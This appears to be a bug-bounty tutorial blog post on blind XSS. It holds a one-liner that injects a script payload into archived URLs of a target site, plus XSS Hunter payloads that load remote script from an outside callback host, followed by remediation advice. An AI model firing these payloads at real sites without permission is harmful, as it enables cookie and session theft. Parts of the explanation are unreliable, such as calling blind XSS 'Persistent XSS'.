Simple Tips for Bug Bounty Beginners: Finding Blind XSS Vulnerabilities

Among various vulnerabilities found in websites, Blind Cross-Site Scripting (XSS) is a significant threat that can quietly damage the security of web applications. But with the right knowledge and tools, we can successfully address Blind XSS and ensure the safety of our online systems.

Understanding Blind XSS: The Silent Threat

Blind XSS, also known as Persistent XSS or second-order XSS, happens secretively, executing payloads within web applications internally. Unlike reflected XSS, where payloads are immediately executed upon input, Blind XSS could remain dormant for a while before getting triggered. These payloads are stored within the application’s web server or other repositories and take their time before execution. It could take as little as 5 minutes or as long as 8 months for the XSS to get executed.

Stored XSS and Reflected XSS have a lot in common and the payloads can be used interchangeably but this is not the case with Blind XSS.

Unveiling Blind XSS

To begin with, we require certain URLs to test for Blind XSS which we can do using the following one-liner:

waybackurls site.com | grep “=” | qsreplace ‘“><script>confirm(1)</script>’ | while read host do ; do curl — silent — path-as-is — insecure “$host” | grep -qs “<script>confirm(1)” && echo “$host \033[0;31mVulnerable\n” || echo “$host \033[0;32mNotVulnerable\n”;done

The one-liner can be explained as follows:

* waybackurls site.com: The command waybackurls is used to fetch URLs associated with the specified domain (site.com) from the Wayback Machine archive. This retrieves historical snapshots of the website's pages.

* qsreplace ‘ “><script>confirm(1)</script>’: The qsreplace tool from the qsreplace library is applied to each URL, to replace the parameter values with the payload ' "><script>confirm(1)</script>'. This payload attempts to trigger a JavaScript confirmation dialog when injected into potentially vulnerable web pages.

* while read host; do … done: This constructs a loop that processes each modified URL (host) line by line, reads host assigns the current URL from the list, and stores it in a variable called host.

* curl — silent — path-as-is — insecure “$host”: This uses the curl command to send a request to the modified URL and retrieve the content of each URL to ($host) variable. Flags used include:

--silent: Progress and error messages are suppressed, making the output cleaner.--path-as-is: Treats the URL literally, and prevents curl from altering the path of the URL. This is useful for dealing with URLs having special characters.--insecure: Allows curl to connect to HTTPS sites without verifying SSL certificates, although this is not recommended for real-world scenarios due to security risks.

* grep -qs “<script>confirm(1)</script>”: This part checks if the fetched content contains the payload, <script>confirm(1)</script>, to detect a successful XSS injection.

* echo “$host … Vulnerable\n” || echo “$host … NotVulnerable\n”: Depending on whether the malicious script/dialog box is found in the fetched result, it prints either Vulnerable (in red text, indicating vulnerability) or NotVulnerable alongside the URL, indicating that the URL is not vulnerable.

For Blind XSS, detection depends upon tricking the web server into executing malicious payloads. Unlike other XSS that show immediate feedback or responses upon successful exploitation, Blind XSS requires patience and observation.

Websites such as XSS Hunter, play a pivotal role here, leveraging customized payloads to probe for weaknesses and alert users when Blind XSS is triggered.

XSS Hunter empowers researchers to detect Blind XSS accurately and efficiently. By inserting payloads containing the script src parameter equal to a particular website URL, researchers can monitor for any signs of attacks. When an attack is detected, XSS Hunter provides valuable insights into the nature and impact of the executed attack.

Ranging from the basic payload “”><script src=”https://js.rip/g9rj6i14lb"></script>" to the CHAINLOAD PAYLOAD FOR SITES WITH JQUERY “<script>$.getScript(“https://js.rip/g9rj6i14lb")</script>", there are various payloads where Blind XSS can be exploited and monitored using the “XSS PAYLOAD FIRES” tab in XSS Hunter.

Impact

Blind XSS can potentially provide access to sensitive information such as cookies, DOM code, user agent details, IP addresses, and even grant unauthorized access to administrative controls.

Fixing and Preventing Blind XSS

Once Blind XSS vulnerabilities have been identified, the process of remediation begins. The following fixes are used commonly:

Input Validation and Sanitization: Implement strict input validation and sanitization protocols to block malicious input from being processed by the application. Validate and sanitize user-supplied data at various entry points, such as form inputs, URL parameters, and HTTP headers.Use Output Encoding: Apply output encoding techniques to clean user-generated content before rendering it on web pages. Encode special characters, such as <, >, “, ‘, and &, to prevent them from mistakenly being interpreted as HTML or JavaScript code.Utilize Content Security Policy (CSP): Implement Content Security Policy (CSP) headers to restrict the execution of inline scripts and minimize the risk of XSS attacks, including Blind XSS. Define strict CSP policies that limit the sources from which scripts can be loaded and executed.Set up HTTP Security Headers: Configure HTTP security headers, such as X-XSS-Protection and X-Content-Type-Options, to enhance the security posture of your web application. Enable browser-based XSS protection mechanisms to avoid XSS vulnerabilities.Regularly Update and Patch Dependencies: Keep all software dependencies, including web frameworks, libraries, and third-party plugins, up to date with the latest security patches and updates. Stay informed about security advisories and promptly apply patches to address any known vulnerabilities.

Conclusion

In conclusion, by implementing proactive detection strategies, we can defend against Blind XSS attacks. With a proactive approach, innovation, and working together, we can protect web applications and users from the dangers of Blind XSS.

Important Note: This script injection technique is malicious and should never be used without permission on someone else’s website.

Also, check out this exciting t-shirt for hackers from Zazzle:

https://www.zazzle.com/t_shirt_for_hackers-256942901301145422